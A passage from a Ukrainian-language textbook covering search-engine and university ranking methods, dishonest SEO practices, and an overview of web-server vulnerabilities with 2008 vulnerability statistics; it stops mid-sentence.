Для ранжування сторінок Google використовує алгоритм PageRank —

метод вимірювання «важливості» сторінки. Коли всі інші фактори, такі як

тег Title і ключові слова враховані, Google використовує PageRank, щоб

відкоригувати результати так, що більш «важливі» сайти піднялися вгору

на сторінці результатів пошуку користувача. Теорія Google говорить, що,

якщо Сторінка A посилається на сторінку B, то Сторінка А вважає, що

Сторінка B - важлива сторінка. Текст посилання не використовується в

PageRank. PageRank також впливає на важливість посилань на сторінку.

Якщо на сторінку вказують багато важливих посилань, то її посилання на

інші сторінки також стають більш важливими.

У свою чергу, Yandex нещодавно розробив для ранжування веб-сайтів

власний алгоритм «Снежинск».

Навчання функції ранжирування в алгоритмі відбувається за допомогою

«жадібних» функцій і полягає у виборі з безлічі чинників тих, які більшою

мірою впливають на релевантність, з огляду на ваги їх класів.

На першому кроці за допомогою асесорів (людей, що надають незалежну

оцінку релевантності документа) будується еталонна модель, у якій

кожному документу з безлічі документів D = (D1, D2, ...) відповідно до

запиту з безлічі запитів Q = (Q1, Q2 , ..., Q3) виставляється релевантність.

Потім за допомогою генетичного алгоритму будується функція

72

релевантності для даного набору, що дає максимально близький до

еталонної моделі результат. Отримана функція за визначенням не може

дати оптимальний варіант, тому навчання відбувається ітераційно (у кілька

проходів). На кожній ітерації вирішується своя локальна оптимізаційна

задача, яка наближає результат, отриманий у ході навчання, до еталону

шляхом пошуку нових функцій. Напрямок і довжина нової функції

визначається градієнтної апроксимацією. Як аргументи для цих функцій

виступають і самі чинники, і функції від цих чинників. Процес навчання

безкінечний і при додаванні нової функції загальна формула релевантності

буде зазнавати зміни, і загальний внесок кожного фактора в значення

функції релевантності буде змінюватися.

Таким чином, функція релевантністю є лінійною комбінацією знайдених

функцій і виглядає як поліном від N змінних: де N сягає кількох тисяч.

На початку навчання алгоритм ранжирування видає дещо грубі результати,

але в процесі навчання він удосконалює свої знання, прагнучи глянути на

документи очима користувача, імітацією якого виступають асесори.

7.4. Рейтинг організацій по адміністративним даним, даними від

експертів та з InterNet

Розглянемо такі рейтинги на прикладах рейтингів вищих навчальних

закладів. Як зазначає Міністерство освіти й науки України, рейтинги

сприяють відкритості та прозорості вищої освіти. “Ранжування вищих

навчальних закладів потрібно абітурієнтам та їх батькам для вибору

Вищого Навчального Закладу (ВНЗ), адміністрації ВНЗ для ефективного

адміністрування; роботодавцям для вибору якісної робочої сили; уряду та

політикам для формування стабільної нормативно-правої бази...”.

Розглянемо 3 відомих та популярних рейтинга.

Особливості відомих рейтингів ВНЗ.

73

Слід відзначити використання багатьох рейтингів у Сполучених Штатах,

але більшість з них використовуються у межах Сполучених Штатах, і не

розповсюджуються на Університети світу. З відомих світових рейтингів

виділимо наступні:

1. Китайській університет Цзяо Тун (Jiao Tong) публікує свій рейтинг з

2003 року. Спочатку дослідників цікавило лише співвідношення рівня

китайських вузів і провідних вузів світу, проте отримані ними результати

викликали велику цікавість всього наукового співтовариства. ВНЗ світу

пильно стежать за рейтингом Цзяо Тун і пишаються високим місцем. У

Цзяо Тун оцінка складається з наступних показників: якість освіти (вага

показника в загальній оцінці - 10 відсотків), рівень співробітників (40

відсотків), рівень досліджень (40 відсотків), розмір (10 відсотків). Якість

освіти визначається як кількість випускників, які отримали Нобелівську

премію або премію Філдса (приблизний аналог Нобелівської премії в

математиці) (Адмін). Рівень викладачів складається з кількості

співробітників, що отримали Нобелівську або Філдсівську премії (Адмін)

(20 відсотків) і кількості співробітників, що мають високий індекс

цитованості . Рівень досліджень визначається за кількістю статей,

опублікованих у журналах Nature і Science (Адмін) (20 відсотків), і

кількістю статей, згаданих у спеціальному списку Інституту наукової

інформації: міжнародному індексі цитування (InterNet) (20 відсотків).

Розмір - це частка від ділення суми зважених п'яти попередніх оцінок на

кількість співробітників.

2. Рейтинг THES / QS, спільний проект THES (The Times Higher Education

Supplement, додаток з вищої освіти до газети Times) і QS (Quacquarelli

Symonds, компанія, що займається міжнародними проблемами освіти)

існує з 2004 року. Мета THES - оцінити академічний рівень університету,

це перш за все якість дослідницької і викладацької роботи, а також

74

міжнародне значення ВНЗ. Оцінка THES наполовину складається з оцінки

фахівців. Експерти опитують тих, хто має уявлення про рівень

відповідного ВНЗ: звичайно це члени академічної спільноти по всьому

світу (значення їх думки - 40 відсотків) і роботодавців (10 відсотків). У

2009 році було опитано майже чотири тисячі вчених і вісім сотень

роботодавців. Другу половину складають рівень студентів і співробітників

(публікації та індекс цитованості (InterNet)), кількість закордонних

студентів і співробітників, відношення кількості викладачів до кількості

студентів. Як і в Цзяо Тун, використовується безліч поправочних

коефіцієнтів.

3. World University Rankings (QS TopUniversities), що формує фірма Scopus.

Напрямки дослідження, основні пояснення та вагу оцінок надано у

таблиці.

Напрямок дослідження

ВНЗ

Пояснення до оцінки Вага

Академічна експертна

оцінка (Експерт)

Експертне обстеження по 5 напрямкам:

Мистецтво та Гуманітарні науки,

Інженерія та ІТ, Наука про життя і

біомедицина, Природничі науки,

Суспільні науки

40%

Оцінка роботодавцями

(Експерт)

Оцінка на основі відповідей при

обстеженні роботодавців

10%

Відношення студент –

ВНЗ (Адмін)

Оцінка можливостей ВНЗ. Ця оцінка є

свідченням того, що даний заклад має

достатню кількість співробітників для

навчання своїх студентів

20%

Цитатованість ВНЗ

(InterNet)

Оцінка базується на дослідженні

цитованості ВНЗ іншими НЗ (оцінюється

20%

75

через СКОПІУС)

Міжнародний

факультет ВНЗ (Адмін)

Оцінка базується на тому, яка частка є у

ВНЗ міжнародного факультету

5%

Кількість іноземних

студентів (Адмін)

Оцінка базується на тому, яка частка у

ВНЗ є кількість іноземних студентів

5%

Основний недолік розглянутих вище рейтингів і багатьох інших є не

значне охоплення існуючих ВНЗ. Так Jiao Tong- 200, THES/QS-500, QS

TopUniversities-500.

7.5. Рейтинг по даним з InterNet

Найбільш поширені це Webometrics рейтинг університетів світу та 4icu.org

University Web Ranking

Webometrics рейтинг " Webometrics " це проект Cybermetrics Lab, також

веде свою діяльність з 2004 року. Рейтинг ґрунтується тільки на обліку

Web-даних: Web-активності вузу, кількості електронних публікацій,

кількості згадок про нього. З усіх рейтингів " Webometrics " самий "не

елітарних": група ставить собі завдання не тільки виявити традиційну

сотню кращих, але й ранжувати максимально велику кількість вузів, в

ідеалі - усі. Дійсно, " Webometrics " публікує впорядкований список

чотирьох тисяч вузів практично з усіх країн світу (для порівняння: Цзяо

Тун - п'ятисот, THES - двохсот). " Webometrics " використовує лише Web-

дані:

Розмір (Size) - число сторінок регенерованих із чотирьох пошукових

ресурсів – Google.com, Yahoo.com, Live.com (msn.com), Exalead.com.

Відповідно, матеріали сайту мають бути публічними й досяжними із

зовнішніх джерел, включаючи досяжність для пошукових роботів із

зазначених ресурсів. Тобто, сайти із внутрішньої мережі , ресурси FTP та

76

бази з авторизованим доступом або неправильно оформленим файлом

robots.txt не враховуються;

Видимість (Visibility) - число унікальних зовнішніх зв’язків (external links)

на університетський домен. Дані беруться в Yahoo, BING, Exalead.

Наприклад, у Вікіпедії (глобальній відкритій енциклопедії) є матеріал про

наш університет і посилання на наш сайт до нього – маємо зовнішнє

посилання. Чим частіше на сторонніх ресурсах указують наші адреси – тим

більше в нас зовнішніх зв’язків;

Цінні файли (Rich files) - файли у форматах, які зазвичай використовують

автори для представлення та поширення власних робіт. Ураховуються

файли MS Word (.doc), Adobe Acrobat (.pdf), PostScript (.ps), а також деякі

інші (дані отримуються від Google). Автори рейтингу вважають, що велика

кількість таких документів засвідчує, що на сайті зберігаються не тільки

адміністративні звіти, але й наукові матеріали. У якості рекомендацій

можна попередити про ліцензійність всіх відповідних програмних

продуктів;

Scholar – Google Scholar дозволяє оцінити кількість наукових матеріалів і

їх цитованість для кожної академічної установи. Ці результати враховують

публікації, звіти та інші академічні матеріали.

Вага цих параметрів наступна: Розмір-0.2, Видимість-0.5, Об’єм цінних

файлів-0.15, Scholar-0.15

Як видно зі змісту параметрів робиться спроба оцінити наукову

діяльність. Можна вказати на багато недоліків такої оцінки. Це й

формалізм, і суб’єктивізм при виборі критеріїв та їх ваги, і неможливість

оцінити реальне значення результатів наукових досліджень, і

пріоритетність англомовних публікацій та інше. Але це є оцінка, яка

охоплює важливі сторони діяльності наукових організацій і вимагає

присутності цих організацій в InterNet.

77

7.6 Закриті та відкриті методики формування рейтингу. Ключові

параметри при формуванні рейтингу.

Фактично всі методики формування рейтингів є закритими. Для цього є

цілий ряд причин.

По-перше, пошукові системи, інші компанії, для яких рейтинг є

бізнес-інструментом, не хочуть розкривати перед конкурентами свої

технології, на які витрачають мільйони.

По-друге, розкриття особливостей побудови рейтингу дозволить веб-

майстрам легко обманювати рейтинг і штучним способом виводити сайти

на перші позиції.

Виключенням є лише рейтинги на кшталт Webometrics, які зацікавлені в

тому, щоб сайти університетів адаптовувалися до їх вимог, і, відповідно,

ставали більш прогресивними.

Особливості побудови інших рейтингів зазвичай залишаються до кінця

невідомими. Разом із тим практикуючі спеціалісти в сфері оптимізації із

78

часом виявляють закономірності, що існують при формуванні того, чи

іншого рейтингу та формують рекомендації, якими наповнений InterNet .

Варто навести спрощену загальну формулу, яку застосовують більшість

пошукових систем при ранжуванні сайтів:

∑ = ∆n = К1∆1 + К2∆2 + К3∆3 ... + Кm∆к

де:

∆n - сумарний бал «важливості» сайту, чи ключового слова сайту;

∆1, ∆2, ∆3 ... ∆к - важливість окремого критерію, по якому оцінюється

значення сайту, чи ключового слова сайту, наприклад:

∆1 - кількість ключових слів на сайті;

∆2 - число ключових слів у веб-сторінці;

∆3 - число ключових слів в тегу "title";

∆4 - число ключових слів в мета тегу "description";

∆5 - число ключових слів в мета тегу "keywords";

∆6 - кількість ключових слів у тексті, що заміщує;

∆7 - місце розташування ключового слова на веб-сторінці;

∆8 - глибина веб-сторінки, на якій розташовано ключове слово сайту;

∆9 - стиль оформлення ключового слова;

∆10 - кількість посилань на веб-сторінку, на якій розташовано ключове

слово.

...

∆к - інші критерії.

K1, K2, K3 ... Km - поправочні та вагові коефіцієнти, що часто

визначаються емпіричним шляхом.

Для окремих критеріїв поправочні коефіцієнти K можуть

розраховуватися за спеціальними математичними залежностями.

Поправочні коефіцієнти K можуть ураховувати, наприклад, щільність

ключових слів, розмір шрифту, тип шрифту й багато інших параметрів.

79

Перевагу слід віддавати простим HTML-посиланнями, проте, якщо

одними засобами HTML не обійтись, то можна скористатися й Flash, чи

будь-якою іншою технологією. У такому випадку важливо правильно

оформити файл Robots.txt і мапу сайту. Завдяки цьому можна досягти

повної індексації ресурсу.

Нечесні методи конкуренції. Урахування цих факторів при формуванні

рейтингу

Як було сказано вище купівля посилань, здобуття їх іншим сумнівним

способом може призвести до блокування сайту в рейтингу.

Проте це далеко не єдиний метод нечесної конкуренції, проти котрого

борються більшість укладачів рейтингів. Серед інших можна зазначити:

— Неправдиві слова в <meta name="keywords" content="ключові слова">.

Припустимо, ваш сайт присвячений промисловим способам отримання

синтетичного каучуку. Однак ви знаєте, що користувачі дуже люблять

шукати в Інтернеті слово «реферати», тому пишете в keywords це слова в

надії, що це принесе новий потік відвідувачів;

— Неправдиві слова в заголовках. Деякі оптимізатори вставляють популярні

пошукові слова у заголовки. А щоб це не впадало в очі, заголовки різних

рівнів приховують, використовуючи спеціальні настройки стилів (CSS).

Іноді зустрічаються сторінки, що складаються майже тільки з заголовків;

— Створення сторінок, розрахованих під пошукові системи. Нерідко з метою

оптимізації пошуку за відповідними ключовими словами оптимізатори

створюють на сайті спеціальні сторінки, згенеровані особливими

програмами.

Суть у тому, що чим більше ключових слів або фраз міститься на сайті,

тим краще на це реагує пошукова система. Однак коли відвідувачі

потрапляють на такі механічно генеровані тексти, вони більше на цей сайт

не заходять, навіть якщо там є й цілком цікаві матеріали;

80

— Прихований і мінімізований текст. Ще один спосіб наповнити сторінки

зайвим текстом спеціально для пошуковиків, приховуючи його від

відвідувачів за допомогою різних хитрощів: текст розміром в 1 піксель,

текст із однаковим кольором літер і фону;

Більшість систем вже навчилося боротися з описаними вище

спробами шахрайства. Вони або взагалі не реагують на них, або

сторінку блокують.

— Створення дорвеїв (від англ. Doorway - вхідна сторінка). Дорвеї зараз є

помітною проблемою, тому про них потрібно поговорити детальніше.

Дорвей - це спеціальна, автоматично (як правило) створена сторінка для

обману пошукових систем. Вона робиться для того, щоб отримувати

трафік із пошукових систем і перенаправляти його (тобто відвідувачів) на

розкручуваний сайт. Дуже часто дорвеї називають пошуковим спамом, і

цей термін цілком коректний. Усі методи оптимізації сайту під пошукові

системи в дорвеї використовуються в гіпертрофованому вигляді: він

буквально набитий ключовими словами в різних видах (заголовках,

текстах), причому тексти на ньому майже завжди є псевдоосмисленним

набором слів, згенерованим спеціальними програмами, які знову-таки

заточені на створення контенту під пошукових роботів. Однак сам по собі

дорвей, навіть максимально заточений під роботів, у перших рядах

результатів пошуку не виявиться, тому другий важливий етап після його

підготовки - розкручування самого дорвея. Для цього творці дорвеїв

якимось чином скрізь де тільки можна ставлять посилання на сам дорвей,

використовуючи в описі потрібні пошукові слова. Велика кількість

посилань із відповідними словами - і дорвей піднімається в пошуковому

рейтингу, на нього йде відповідний трафік, який спрямовується (редірект)

на рекламований сайт.

81

Як розкручуються дорвеї? Від розсилки листів по e-mail із прямою

рекламою або пропозицією поставити посилання на відповідний дорвей в

обмін на «поставлене» на ньому посилання (подібні сторінки, які

пред'являються в листах, також генеруються автоматично в момент

клацання на посилання в листі, після чого через якийсь час знищуються),

до заспамлювання спеціальними роботами форумів і гостьових книг.

1. Частота сканування сторінок та формування рейтингу

Такі рейтинги, як Webometrics, укладаються два рази на рік. На противагу

цьому, рейтинги пошукових систем укладаються фактично щосекунди.

У контексті останнього дуже важливо, щоб в індексі пошуковика завжди

знаходилась актуальна версія веб-сайту.

Організувати це не завжди просто. Як уже згадувалося раніше для того

щоб робот проіндексував сайт він повинен перейти на нього з іншого

ресурсу за посиланням. Але, якщо Ваш сайт ще молодий, таких посилань

може бути мало. Проте з розвитком ресурсу ситуація, як правило,

змінюється на краще.

У файлі Robot.txt можна зазначити наскільки часто оновлюється кожна

частина вашого сайту і це буде враховано пошуковиком. Наприклад,

сторінку «Контакти» сканувати щогодини немає жодного сенсу, а от

сторінку з новинами – доцільно.

Google пропонує інтегрований «Центр для веб-майстрів», що дозволяє

подавати, правити та перевіряти роботу мапи сайту, файлу Robots.txt,

перевіряти зовнішні та внутрішні посилання та вводити інші

налаштування. Окрім того Google пропонує зручний інструмент підбору

ключових слів. За допомогою сервісу Google Analytics веб-майстер може

отримати вичерпну інформацію щодо відвідуваності свого сайту.

Доступні лічильники Google PageRank та Яндекс тИЦ, які легко

встановити на власну сторінку.

82

В арсеналі Яндекс теж є потужний інструментарій, сконцентрований на

сервісі «Яндекс.Вебмастер». Сервіс дублює більшість функцій Google

Analytics.

8. ВРАЗЛИВОСТІ Web-СЕРВЕРІВ ТА Web-САЙТІВ

Web-сервери та Web-сайти є об’єкти на які діють джерела

вразливостей. Особливу увагу треба звернути на Web-сервери, бо Web-

сервери - постійно піддаються безлічі самих різних небезпек. Причому

найсерйознішу загрозу становлять для них хакери й віруси. Перші можуть

отримати доступ до конфіденційної інформації, розміщеної на сервері,

зламати сайти й змінити їх вміст, а також вивести з ладу сервер за

допомогою розподіленої атаки (DDoS-атака). Віруси ж, вражаючи веб-

сервери, перетворюють їх самих у розсадник інфекції. Крім того, вони

істотно сповільнюють його роботу, а також займають інтернет-канал. На

перший погляд здається, що ці загрози за принципом роботи дуже сильно

відрізняються один від одного. Але насправді це не так. Виявляється,

багато вірусів, особливо інтернет-черв'яки, використовують для

розповсюдження вразливості в програмному забезпеченні. Так і хакери

теж воліють застосовувати атаки, спрямовані на відомі «дірки» в

програмному забезпеченні. І в цьому немає нічого дивного.

Використовуючи вразливості, і ті й інші одержують досить легкий доступ

до віддаленого комп'ютера навіть у тому випадку, якщо останній добре

захищений.

Практично в майже будь-якій програмі є вразливості. І чим її

вихідний код більше за обсягом, тим більше в ній можна знайти різних

«дірок». Наявність вразливостей пояснюється дуже легко. Перш за все

людина може помилятися. Існує навіть спеціальна норма програмування, у

якій зазначено, скільки помилок може допустити фахівець при написанні

83

певного числа рядків коду. Крім того, не можна забувати, що велике

програмне забезпечення (ПЗ) пише не одна людина, а ціла група. І досить

часто помилки виникають при компонуванні модулів, створених різними

програмістами. Крім того, наявність вразливостей далеко не завжди

визначається якістю написання ПЗ.

8.1. Вразливості програмного забезпечення та конфігурації

Коли мова заходить про вразливість веб-серверів, то переважна

більшість людей відразу ж згадують «дірки» в їх програмному

забезпеченні. Це відноситься до самих програмам-серверів, таким як

Apache, Microsoft Internet Information Server та інші. І в цьому немає

абсолютно нічого дивного. Все-таки це програмне забезпечення досить

об'ємне й складне, так що «дірки» в ньому обов'язково є. Крім того, не

можна забувати, що сучасний веб-сервер неможливо уявити собі без

багатьох додаткових функцій, наприклад, без підтримки мов

програмування типу Perl, PHP та інші, а також без систем управління

базами даних. Усе це стає можливим завдяки установці на веб-сервер

додаткового програмного забезпечення. І все воно теж може мати свої

вразливості.

Сьогодні на сайтах, присвячених інформаційній безпеці, постійно

з'являються повідомлення про виявлення нових вразливостей у

програмному забезпеченні веб-серверів. У цьому процесі беруть участь як

фахівці із захисту даних, так і хакери. Причому останні при виявленні

нової «діри» можуть умовчати про неї й спробувати використовувати її у

своїх цілях. Але часто буває навпаки. Хакер намагається розповісти про

нові вразливості всім, у тому числі і розробникам ПЗ. Робиться це, швидше

за все, із честолюбства. Хакер просто хоче показати світу свої знання та

вміння. Але в нашому випадку це бажання приносить тільки користь.

84

Головною особливістю виробничих вразливостей є їх прихильність

до певних версій програмного забезпечення. Справа в тому, що «дірки»

часто зустрічаються не у всій лінійці веб-серверів, а тільки в деяких їх

релізах. А ще варто відзначити, що чим популярніше те чи інше програмне

забезпечення, тим частіше для нього знаходять нові вразливості.

І це залежить не від якості написання ПЗ. Просто його вивчають

більше фахівців, так що й вірогідність виявлення «дір» відносно велика.

Захиститися від розглянутого типу вразливостей програмного

забезпечення можна тільки одним способом - своєчасною установкою всіх

розроблених виробниками патчів (оновлених версій). Справа в тому, що

розробники програмного забезпечення (ПЗ) регулярно викладають на

офіційних сайтах оновлення для своїх продуктів. При виявленні

критичною для безпеки «дірки» патч випускається швидко (якщо,

звичайно, компанія дійсно піклується про своїх клієнтів). Якщо ж знову

знайдені вразливості несуть швидше теоретичну, ніж реальну загрозу, то в

міру їх накопичення випускаються кумулятивні патчі.

85

Вразливості конфігурації Вразливості можуть виникати із-за

некоректного налаштування програмного забезпечення веб-сервера.

Фактично безпека будь-якої речі залежить від того, як її застосовувати. Те

ж саме можна сказати й про веб-сервер. Дуже багато залежить від того, як

налаштоване його програмне забезпечення. Взагалі, переважна більшість

веб-серверів мають досить великий набір параметрів, що стосуються

практично всіх аспектів його роботи. Таким чином, безпека багато в чому

залежить від адміністраторів, що займаються їх обслуговуванням. Але не

можна забувати, що адміністратори - це люди. А це означає, що вони через

свою неуважність, недостатньої кваліфікації чи ще з якихось причин

можуть помилятися. І ці помилки можуть відкрити дорогу до веб-сервера

хакеру або вірусу.

Від некоректного налаштування не може допомогти установка патчів. І

дійсно, при оновленні програмного забезпечення його конфігурація не

змінюється. А це означає, що вразливість у системі захисту після інсталяції

патча швидше за все залишиться. Таким чином, головною небезпекою

розглянутого типу «дірок» є складність їх виявлення. Отже, єдиний спосіб

дійсно надійного захисту від таких вразливостей є використання

спеціальних сканерів безпеки. Ці програми за допомогою спеціальних

методів досліджують захист веб-серверів і знаходять потенційно

небезпечні місця.

Вразливості власного програмного забезпечення

Скрипти веб-сайтів теж можуть містити вразливості.

Сучасний веб-сервер і супутнє програмне забезпечення дуже часто

служать своєрідною базою для виконання програм, що написані власноруч

користувачем. Мова йде, звичайно, про скрипти, які працюють на

більшості сучасних сайтів. Справа в тому, що більшість мов веб-

програмування є серверними. Це означає, що скрипти, написані на них,

86

виконуються прямо на сервері, а на комп'ютер користувача (в даному

випадку - відвідувача сайту) відправляються тільки результати їх роботи. І

в цьому криється досить серйозна небезпека. Справа в тому, що скрипти

для сайтів далеко не завжди розробляються дійсно гарними спеціалістами.

На багатьох веб-проектах використовуються безкоштовно поширювані

програми або ж ПЗ власного написання. Природно, у ньому теж можуть

міститися вразливості. Причому деякі з них можуть бути дуже серйозними,

що дозволяють зловмисникам дістати несанкціонований доступ до самого

серверу. Причому потрібно враховувати, що деякі скрипти виконуються з

підвищеними привілеями. Так що вразливості в них можуть виявитися

гарною підмогою для хакерів.

Виявити «дірки» в скриптах можна за допомогою сканерів безпеки. Так що

кожен власник веб-сервера, дійсно піклується про безпеку свого сайту,

повинен періодично перевіряти його. Справа в тому, що хакери постійно

вигадують нові способи віддалених атак. Крім того, постійно виявляються

нові «дірки» в оригінальному ПЗ, які можуть у поєднанні зі скриптами, які

раніше вважалися безпечними, являти собою реальну загрозу.

8.2 Класифікація вразливостей і атак

Ця класифікація представляє собою спільну спробу зібрати воєдино

інформацію й показати загрози безпеки Web серверів та Web-сайтів. Члени

Web Application Security Consortium створили даний проект для розробки

та популяризації стандартної термінології опису цих проблем. Це надасть

можливість розробникам додатків, фахівцям в області безпеки,

виробникам програмних продуктів і аудиторам використовувати єдину

мову для взаємодії.

У багатьох організація Web-додатки використовуються як критично

важливі системи, які повинні щодня обслуговувати багатомільйонні

87

транзакції. Однак справжня цінність Web-сайтів та Web-додатків повинна

оцінюватися на основі потреб кожної організації. Важливість досить важко

уявити тільки у вигляді певної суми грошей. Це може бути й престиж

організацій чи осіб, пошкодження важливої інформації та інше.

Вразливості в Web-додатках досить давно становили небезпеку для

користувачів. Після ідентифікації вразливості для здійснення атаки

використовується одна з кількох технік. Зазвичай на ці техніки

посилаються як на класи атак (методи використання вразливостей). Багато

хто із цих класів мають поширені назви, наприклад, «переповнення

буферу» (Buffer Overflows), «впровадження коду SQL» (SQL Injection), і

«міжсайтового виконання сценаріїв» (Cross-site Scripting). Ці класи атак

будуть використані в якості основи для опису та класифікації загроз Web-

додатків.

Даний документ містить компіляцію відомих класів атак, які представляли

загрозу для Web-додатків у минулому й представляють зараз. Кожному

класу атак присвоєно стандартну назву й описані його ключові

особливості. Класи організовані в ієрархічну структуру.

Створення класифікації загроз безпеки Web-додатків є важливою подією

для розробників додатків, фахівців у галузі безпеки, виробників

програмних продуктів та інших сторін, які займаються безпекою Web. На

основі класифікації надалі можуть бути створені методики обстеження

додатків, рекомендації з розробки додатків з урахуванням безпеки, вимоги

до продуктів і служб.

За останні кілька років індустрія безпеки web-додатків адаптувала кілька

десятків плутаних і езотеричних термінів, що описують вразливості.

Такі назви вразливостей, як «міжсайтового виконання сценаріїв» (Cross-

site Scripting), «підробка параметрів» (Parameter Tampering), і «отруєння

88

печива» (Cookie Poisoning) не точно визначають суть проблеми й можливі

наслідки атак.

Приміром, наявність вразливості типу міжсайтового виконання сценаріїв

(Cross-site Scripting) може призвести до викрадення значень cookie

користувача. Знання значень cookie дає зловмисникові можливість

перехопити сесію користувача й отримати контроль над його обліковим

записом. Для експлуатації цієї вразливості використовується метод

маніпуляції параметрами вводу та підробка параметрів URL.

Наведений сценарій атаки може бути описаний із використанням різних

жаргонізмів. Цей складний і мінливий словник часто викликає проблеми й

розбіжності у відкритих форумах, навіть якщо сторони згодні з основною

ідеєю.

Протягом довгих років не існувало ресурсу, який би описував вразливості

в Web-додатках у досить повної й стандартною формою.

8.3. Статистика вразливостей Web-сайтів та Web-додатків

Як показує багаторічний досвід компанії Positive Technologies із

проведення робіт із тестування на проникнення й аудитів інформаційної

безпеки - вразливості в Web-додатках, як і раніше залишаються одним із

найбільш поширених недоліків забезпечення захисту інформації. Інші

часто зустрічаються проблеми - це низька поінформованість

співробітників у питаннях ІБ, слабка парольна політика чи повсюдне її

недотримання, недоліки в процесах управління оновленнями ПЗ,

використання небезпечних конфігурацій, і як це може здатися

парадоксальним, не ефективне міжмережеве розмежування доступу.

Незважаючи на те, що вразливості Web-додатків неодноразово описані в

«науково-популярної» та спеціалізованої літературі, досить рідко

89

зустрічаються превентивні захисні механізми, які знижують ризики

експлуатації різних вразливостей у них.

Проблема захищеності Web-додатків ускладнюється ще й тим, що при

розробці Web-додатків, що часто не враховуються питання, пов'язані із

захищеністю цих систем від внутрішніх і зовнішніх загроз, або не

достатньо уваги приділяється даному процесу. Це у свою чергу породжує

ситуацію, у якій проблеми ІБ потрапляють у поле зору власника системи

вже після завершення проекту. А усунути вразливість в уже створеному

Web-додатку є більш витратною статтею бюджету, ніж при його розробці

та впровадженні.

Недооцінка серйозності ризику реалізації загроз ІБ із використанням Web-

додатків, доступних із боку мережі Інтернет, можливо, є основним

чинником поточного низького стану захищеності більшості з них.

8.3.1. Методика

Даний розділ містить оглядову статистику вразливостей Web-

додатків, отриману із двох джерел:

• У ході робіт із тестування на проникнення, аудитів безпеки та інших робіт,

виконаних експертами компанії Positive Technologies в 2008 році.

• За підсумками підвищення безпеки сайтів клієнтів Хостинг-Центру РБК у

рамках послуги "Перевірка Безпеки Сайту", здійснювана на основі системи

MaxPatrol (модуль Pentest) компанії Positive Technologies.

Усього в статистиці брали участь дані про 10459 Web-додатках. Дані

грунтуються на проведенні 16121 автоматичних сканувань, детальному

аналізі 59 Web-додатків, у тому числі із проведенням аналізу вихідного

коду більше 10-ти з них.

Залежно від типу виконуваних робіт були задіяні різні методики

проведення обстеження Web-додатків, від автоматизованого

інструментального обстеження методом «чорного ящика» (black-box, blind)

90

з використанням сканерів безпеки XSpider і MaxPatrol, до проведення всіх

перевірок вручну методом «білого скриньки» (white-box), включаючи

частковий і повний аналіз вихідного коду. У статистику ввійшли дані лише

за зовнішніми Web-додатків, доступним із глобальної мережі Інтернет.

Виявлені вразливості класифікувалися згідно Web Application

Security Consortium Web Security Threat Classification (WASC WSTCv2).

Дана класифікація представляє собою спробу зібрати воєдино загрози

безпеки Web-додатків. Члени Web Application Security Consortium

створили цей проект для розробки та популяризації стандартної

термінології опису проблем безпеки Web-додатків. Наявність цього

документа дає можливість розробникам додатків, фахівцям в області

безпеки, виробникам програмних продуктів і аудиторам використовувати

єдину мова для взаємодії.

Поширені вразливості Web-додатків організовані в структурований

список, що складається з дев'яти класів (WSTCv2):

1. Аутентифікація (Authentication)

2. Авторизація (Authorization)

3. Атаки на клієнтів (Client-side Attacks)

4. Виконання коду (Command Execution)

5. Розголошення інформації (Information Disclosure)

6. Логічні недоліки (Logical Flaws)

7. Не безпечні конфігурації (Misconfiguration)

8. Недоліки протоколу (Protocol Abuse)

9. Інші (Miscellaneous)

8.3.2. Статистика вразливостей

Усього в представлену статистику увійшли дані по 10459 Web-

додатків, 7861 з яких містили одну й більше вразливостей. Сумарно у всіх

додатках було виявлено 33931 помилок різного ступеня ризику. У Табл. 2

91

представлені дані щодо розподілу вразливостей, виявлені в ході аудитів і

шляхом автоматизованого сканування.

Таблиця 2. Розподіл вразливостей за методом пошуку

Метод пошуку Хостів Вразливих

хостів

Вразливостей

сайтів

Ручний метод пошуку і аналіз

вихідного коду 59

59 428

Автоматизований метод пошуку 10400 7802 33503

Таким чином, вірогідність виявлення вразливостей в одному Web-

додатку (тобто ефективність оцінки захищеності) при його детальному

аналізі вище цього показника при автоматичному скануванні на 26% Таке

співвідношення обумовлено, перш за все тим, що аналіз вихідного коду та

виконання ручних перевірок дозволяє добитися кращих результатів, ніж

при автоматизованому скануванні. Крім того, у роботах по дослідженню

Web-додатків ручним способом застосовувалися методи перевірки

додатків на основі системних журналів, вихідних кодів, що збільшує

охоплення API системи й, як наслідок, дозволяє одержати більш

об'єктивну оцінку захищеності досліджуваних систем. При

автоматизованому скануванні настройка профілів сканування під

конкретний Web-додоток не виконувалася, і сканування вироблялися

методом «чорного ящика».

92

Імовірність виявлення вразливості різними методами їх пошуку

8.3.4. Автоматичне сканування

Розподіл виявлених вразливостей до різних типів за допомогою

автоматизованих засобів представлено на рисунку

Статистика вразливостей Web-додатків (автоматичне сканування)

Якщо розглядати вразливості з точки зору поширеності, то будуть

отримані результати, при яких найбільш поширеною вразливістю є

«міжсайтового виконання сценаріїв» (Cross-Site Scripting, XSS), на частку

якої припадає приблизно 30% всіх помилок. Дана вразливість зустрічалася

93

в 50% всіх проаналізованих додатків. Тобто кожен другий сайт містить

подібну вразливість.

Інша поширена вразливість, впритул наблизилася до «міжсайтового

виконання сценаріїв», пов'язана з різними варіантами витоку інформації.

Вразливість даного типу зібрала в собі такі поширені помилки, як доступ

до вихідного коду серверних сценаріїв, розкриття шляху каталогу Web-

сервера, отримання різної чутливої інформації та інше. Помилки, пов'язані

із цією вразливістю, зустрічалися практично на кожному обстежуваної

сайті.

Таким чином, лідируючу позицію за ймовірністю виявлення

вразливості в Web-додатку, за автоматичному скануванні, займає

вразливість - «Витік інформації» (Information Leakage). Варто відзначити,

що ступінь можливого ризику даної вразливості може варіюватися від

низької до критичної. Цікаву позицію в статистиці займає вразливість

«Malware detect», на частку якої припадає приблизно 6% всіх виявлених

вразливостей при автоматичному скануванні (див. Рис.). Присутність даної

вразливості свідчить про те, що Web-додаток містить інфікований код

(Trojan-Spy backdoor, Code.JS, Code.I і т.д.), внаслідок чого на комп'ютери

відвідувачів такого сайту може бути встановлено зловмисне програмне

забезпечення. Статистика вразливостей із високим рівнем небезпеки,

виявлених на сайтах, що містять інфікований код (див. Рис.), показує, що

найбільш імовірні шляхи поширення інфікованого коду в цих додатках - це

використання наступних вразливостей:

o Впровадження операторів SQL (SQL Injection)

o Виконання команд ОС (OS Commanding)

o Впровадження серверних розширень (SSI Injection)

94

Рис.2. Статистика критичних вразливостей на сайтах, що містять

інфікований код

Процес експлуатації подібних вразливостей може бути досить легко

автоматизований, а поширення подібних помилок в Web-додатках

дозволяє додавати інфікований код на сторінки вразливих Web-вузлів.

Якщо подивитися на статистику розподілу критичних вразливостей

